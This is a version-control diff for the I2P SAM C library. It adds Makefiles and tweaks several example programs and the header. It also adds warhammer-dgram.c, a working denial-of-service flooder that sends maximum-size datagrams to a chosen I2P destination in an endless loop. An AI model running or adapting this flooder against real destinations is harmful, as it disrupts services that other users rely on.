forked from I2P_Developers/i2p.i2p
Added a new example program (which actually works)
This commit is contained in:
@@ -1,4 +1,5 @@
|
|||||||
v1.15 2004-06-
|
v1.15 2004-06-23
|
||||||
|
* Added a new example program, warhammer-dgram (use with caution)
|
||||||
* Fixed some fatal bugs in datagram handling
|
* Fixed some fatal bugs in datagram handling
|
||||||
* Added another error return type named SAM_TOO_BIG - some functions now
|
* Added another error return type named SAM_TOO_BIG - some functions now
|
||||||
return samerr_t instead of bool now
|
return samerr_t instead of bool now
|
||||||
|
42
apps/sam/c/examples/Makefile
Normal file
42
apps/sam/c/examples/Makefile
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
#
|
||||||
|
# This Makefile is compatible with GNU Make
|
||||||
|
#
|
||||||
|
|
||||||
|
#
|
||||||
|
# Programs
|
||||||
|
#
|
||||||
|
|
||||||
|
CC = gcc
|
||||||
|
|
||||||
|
#
|
||||||
|
# Flags
|
||||||
|
#
|
||||||
|
|
||||||
|
CFLAGS = -g -O2 -pipe -std=c99 -Wall
|
||||||
|
CFLAGS += -I../inc -L../lib
|
||||||
|
LIBS = -lsam
|
||||||
|
|
||||||
|
#
|
||||||
|
# Build rules
|
||||||
|
#
|
||||||
|
|
||||||
|
all: dgram-client dgram-server warhammer-dgram
|
||||||
|
|
||||||
|
dgram-client:
|
||||||
|
$(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c
|
||||||
|
$(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS)
|
||||||
|
|
||||||
|
dgram-server:
|
||||||
|
$(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c
|
||||||
|
$(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS)
|
||||||
|
|
||||||
|
warhammer-dgram:
|
||||||
|
$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
|
||||||
|
$(CC) $(CFLAGS) -o warhammer-dgram warhammer-dgram.o $(LIBS)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Cleanup rules
|
||||||
|
#
|
||||||
|
|
||||||
|
clean:
|
||||||
|
-rm -f *.o *.exe dgram-client dgram-server warhammer-dgram
|
42
apps/sam/c/examples/Makefile.mingw
Normal file
42
apps/sam/c/examples/Makefile.mingw
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
#
|
||||||
|
# This Makefile is compatible with GNU Make and has Winsock linking
|
||||||
|
#
|
||||||
|
|
||||||
|
#
|
||||||
|
# Programs
|
||||||
|
#
|
||||||
|
|
||||||
|
CC = C:\Dev-Cpp\bin\gcc
|
||||||
|
|
||||||
|
#
|
||||||
|
# Flags
|
||||||
|
#
|
||||||
|
|
||||||
|
CFLAGS = -g -O2 -pipe -std=c99 -Wall
|
||||||
|
CFLAGS += -I../inc -L../lib
|
||||||
|
LIBS = -lsam -lwsock32
|
||||||
|
|
||||||
|
#
|
||||||
|
# Build rules
|
||||||
|
#
|
||||||
|
|
||||||
|
all: dgram-client dgram-server warhammer-dgram
|
||||||
|
|
||||||
|
dgram-client:
|
||||||
|
$(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c
|
||||||
|
$(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS)
|
||||||
|
|
||||||
|
dgram-server:
|
||||||
|
$(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c
|
||||||
|
$(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS)
|
||||||
|
|
||||||
|
warhammer-dgram:
|
||||||
|
$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
|
||||||
|
$(CC) $(CFLAGS) -o warhammer-dgram warhammer-dgram.o $(LIBS)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Cleanup rules
|
||||||
|
#
|
||||||
|
|
||||||
|
clean:
|
||||||
|
-rm -f *.o *.exe dgram-client dgram-server warhammer-dgram
|
@@ -1,8 +0,0 @@
|
|||||||
@echo off
|
|
||||||
|
|
||||||
del dgram-server.o dgram-server.exe
|
|
||||||
C:\Dev-Cpp\bin\gcc -I../inc -o dgram-server.o -c dgram-server.c
|
|
||||||
C:\Dev-Cpp\bin\gcc -I../inc -L../lib -o dgram-server.exe dgram-server.o -lsam -lwsock32
|
|
||||||
del dgram-client.o dgram-client.exe
|
|
||||||
C:\Dev-Cpp\bin\gcc -I../inc -o dgram-client.o -c dgram-client.c
|
|
||||||
C:\Dev-Cpp\bin\gcc -I../inc -L../lib -o dgram-client.exe dgram-client.o -lsam -lwsock32
|
|
@@ -1,8 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
|
|
||||||
rm dgram-server.o dgram-server
|
|
||||||
gcc -I../inc -o dgram-server.o -c dgram-server.c
|
|
||||||
gcc -I../inc -L../lib -o dgram-server dgram-server.o -lsam
|
|
||||||
rm dgram-client.o dgram-client
|
|
||||||
gcc -I../inc -o dgram-client.o -c dgram-client.c
|
|
||||||
gcc -I../inc -L../lib -o dgram-client dgram-client.o -lsam
|
|
@@ -32,6 +32,7 @@
|
|||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
#include "sam.h"
|
#include "sam.h"
|
||||||
|
|
||||||
static void dgramback(sam_pubkey_t dest, void *data, size_t size);
|
static void dgramback(sam_pubkey_t dest, void *data, size_t size);
|
||||||
@@ -44,10 +45,14 @@ static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
|
|||||||
* datagrams work. We lookup the name 'dgram-server' then send some data to
|
* datagrams work. We lookup the name 'dgram-server' then send some data to
|
||||||
* him. If everything works, we should get the same data back.
|
* him. If everything works, we should get the same data back.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* NOTE!!!!!!!! This is currently broken!
|
||||||
|
*/
|
||||||
|
|
||||||
int main(int argc, char* argv[])
|
int main(int argc, char* argv[])
|
||||||
{
|
{
|
||||||
samerr_t rc;
|
samerr_t rc;
|
||||||
char errstr[SAM_ERRMSG_LEN];
|
|
||||||
|
|
||||||
/* Hook up the callback functions */
|
/* Hook up the callback functions */
|
||||||
sam_dgramback = &dgramback;
|
sam_dgramback = &dgramback;
|
||||||
@@ -55,7 +60,7 @@ int main(int argc, char* argv[])
|
|||||||
sam_logback = &logback;
|
sam_logback = &logback;
|
||||||
sam_namingback = &namingback;
|
sam_namingback = &namingback;
|
||||||
|
|
||||||
/* Connect to the SAM server */
|
/* Connect to the SAM server -- you can use either an IP or DNS name */
|
||||||
rc = sam_connect("localhost", 7656, "dgram-client", SAM_DGRAM, 0);
|
rc = sam_connect("localhost", 7656, "dgram-client", SAM_DGRAM, 0);
|
||||||
if (rc != SAM_OK) {
|
if (rc != SAM_OK) {
|
||||||
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
|
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
|
||||||
|
@@ -47,7 +47,6 @@ static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
|
|||||||
int main(int argc, char* argv[])
|
int main(int argc, char* argv[])
|
||||||
{
|
{
|
||||||
samerr_t rc;
|
samerr_t rc;
|
||||||
char errstr[SAM_ERRMSG_LEN];
|
|
||||||
|
|
||||||
/* Hook up the callback functions */
|
/* Hook up the callback functions */
|
||||||
sam_dgramback = &dgramback;
|
sam_dgramback = &dgramback;
|
||||||
@@ -55,7 +54,7 @@ int main(int argc, char* argv[])
|
|||||||
sam_logback = &logback;
|
sam_logback = &logback;
|
||||||
sam_namingback = &namingback;
|
sam_namingback = &namingback;
|
||||||
|
|
||||||
/* Connect to the SAM server */
|
/* Connect to the SAM server -- you can use either an IP or DNS name */
|
||||||
rc = sam_connect("127.0.0.1", 7656, "dgram-server", SAM_DGRAM, 0);
|
rc = sam_connect("127.0.0.1", 7656, "dgram-server", SAM_DGRAM, 0);
|
||||||
if (rc != SAM_OK) {
|
if (rc != SAM_OK) {
|
||||||
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
|
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
|
||||||
|
123
apps/sam/c/examples/warhammer-dgram.c
Normal file
123
apps/sam/c/examples/warhammer-dgram.c
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions are
|
||||||
|
* met:
|
||||||
|
*
|
||||||
|
* * Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* * Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
* * Neither the name of the author nor the names of any contributors
|
||||||
|
* may be used to endorse or promote products derived from this software
|
||||||
|
* without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||||
|
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||||
|
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||||
|
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
|
||||||
|
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||||
|
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||||
|
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||||
|
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||||
|
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||||
|
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||||
|
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Warhammer-dgram: a simple denial of service tool which uses datagrams, and
|
||||||
|
* illustrates how LibSAM works.
|
||||||
|
* Use only with the utmost courtesy.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include "sam.h"
|
||||||
|
|
||||||
|
static void dgramback(sam_pubkey_t dest, void *data, size_t size);
|
||||||
|
static void diedback(void);
|
||||||
|
static void logback(char *s);
|
||||||
|
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
|
||||||
|
|
||||||
|
bool gotdest = false;
|
||||||
|
sam_pubkey_t dest;
|
||||||
|
|
||||||
|
int main(int argc, char* argv[])
|
||||||
|
{
|
||||||
|
if (argc != 2) {
|
||||||
|
fprintf(stderr, "Syntax: %s <b64dest|name>\n", argv[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
sam_dgramback = &dgramback;
|
||||||
|
sam_diedback = &diedback;
|
||||||
|
sam_logback = &logback;
|
||||||
|
sam_namingback = &namingback;
|
||||||
|
|
||||||
|
/* a tunnel length of 2 is the default - adjust to your preference vv */
|
||||||
|
samerr_t rc = sam_connect("localhost", 7656, "TRANSIENT", SAM_DGRAM, 2);
|
||||||
|
if (rc != SAM_OK) {
|
||||||
|
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strlen(argv[1]) == 516) {
|
||||||
|
memcpy(dest, argv[1], SAM_PUBKEY_LEN);
|
||||||
|
gotdest = true;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
sam_naming_lookup(argv[1]);
|
||||||
|
|
||||||
|
while (!gotdest)
|
||||||
|
sam_read_buffer();
|
||||||
|
|
||||||
|
char data[SAM_DGRAM_PAYLOAD_MAX];
|
||||||
|
memset(data, '#', SAM_DGRAM_PAYLOAD_MAX);
|
||||||
|
size_t sentbytes = 0;
|
||||||
|
while (true) {
|
||||||
|
rc = sam_dgram_send(dest, data, SAM_DGRAM_PAYLOAD_MAX);
|
||||||
|
if (rc != SAM_OK) {
|
||||||
|
fprintf(stderr, "sam_dgram_send() failed: %s\n", sam_strerror(rc));
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
sentbytes += SAM_DGRAM_PAYLOAD_MAX;
|
||||||
|
printf("Bombs away! (%u kbytes sent so far)\n", sentbytes / 1024);
|
||||||
|
sam_read_buffer();
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void dgramback(sam_pubkey_t dest, void *data, size_t size)
|
||||||
|
{
|
||||||
|
puts("Received a datagram (ignored)");
|
||||||
|
free(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void diedback(void)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Lost SAM connection!\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void logback(char *s)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "LibSAM: %s\n", s);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
|
||||||
|
{
|
||||||
|
if (result != SAM_OK) {
|
||||||
|
fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
memcpy(dest, pubkey, SAM_PUBKEY_LEN);
|
||||||
|
gotdest = true;
|
||||||
|
}
|
@@ -38,7 +38,7 @@ extern "C" {
|
|||||||
* Lengths
|
* Lengths
|
||||||
*/
|
*/
|
||||||
#define SAM_CMD_LEN 128 /* the maximum length a SAM command can be */
|
#define SAM_CMD_LEN 128 /* the maximum length a SAM command can be */
|
||||||
#define SAM_DGRAM_PAYLOAD_MAX 31774 /* max size of a single datagram packet */
|
#define SAM_DGRAM_PAYLOAD_MAX ((31 * 1024) - 30) /* max size of a single datagram packet (-30 temporary bug fix for SAM) */
|
||||||
#define SAM_ERRMSG_LEN 23 /* the longest message returned from sam_strerror */
|
#define SAM_ERRMSG_LEN 23 /* the longest message returned from sam_strerror */
|
||||||
#define SAM_LOGMSG_LEN 256 /* the longest log message */
|
#define SAM_LOGMSG_LEN 256 /* the longest log message */
|
||||||
#define SAM_NAME_LEN 256 /* the longest `name' arg for naming lookup callback*/
|
#define SAM_NAME_LEN 256 /* the longest `name' arg for naming lookup callback*/
|
||||||
|
@@ -99,7 +99,8 @@ bool sam_close(void)
|
|||||||
*
|
*
|
||||||
* samhost - SAM host
|
* samhost - SAM host
|
||||||
* samport - SAM port
|
* samport - SAM port
|
||||||
* destname - destination name for this program, or TRANSIENT for a random dest
|
* destname - destination name for this program, or "TRANSIENT" for a random
|
||||||
|
* dest
|
||||||
* tunneldepth - length of the I2P tunnels created by this program (longer is
|
* tunneldepth - length of the I2P tunnels created by this program (longer is
|
||||||
* more anonymous, but slower)
|
* more anonymous, but slower)
|
||||||
*
|
*
|
||||||
@@ -713,7 +714,7 @@ void sam_sendq_send(sam_sendq_t *sendq, sam_sid_t stream_id)
|
|||||||
/*
|
/*
|
||||||
* Sends the second SAM handshake command and checks the reply
|
* Sends the second SAM handshake command and checks the reply
|
||||||
*
|
*
|
||||||
* destname - destination name for this program, or TRANSIENT to create a
|
* destname - destination name for this program, or "TRANSIENT" to create a
|
||||||
* random temporary destination
|
* random temporary destination
|
||||||
* tunneldepth - length of the I2P tunnels created by this program
|
* tunneldepth - length of the I2P tunnels created by this program
|
||||||
*
|
*
|
||||||
|
Reference in New Issue
Block a user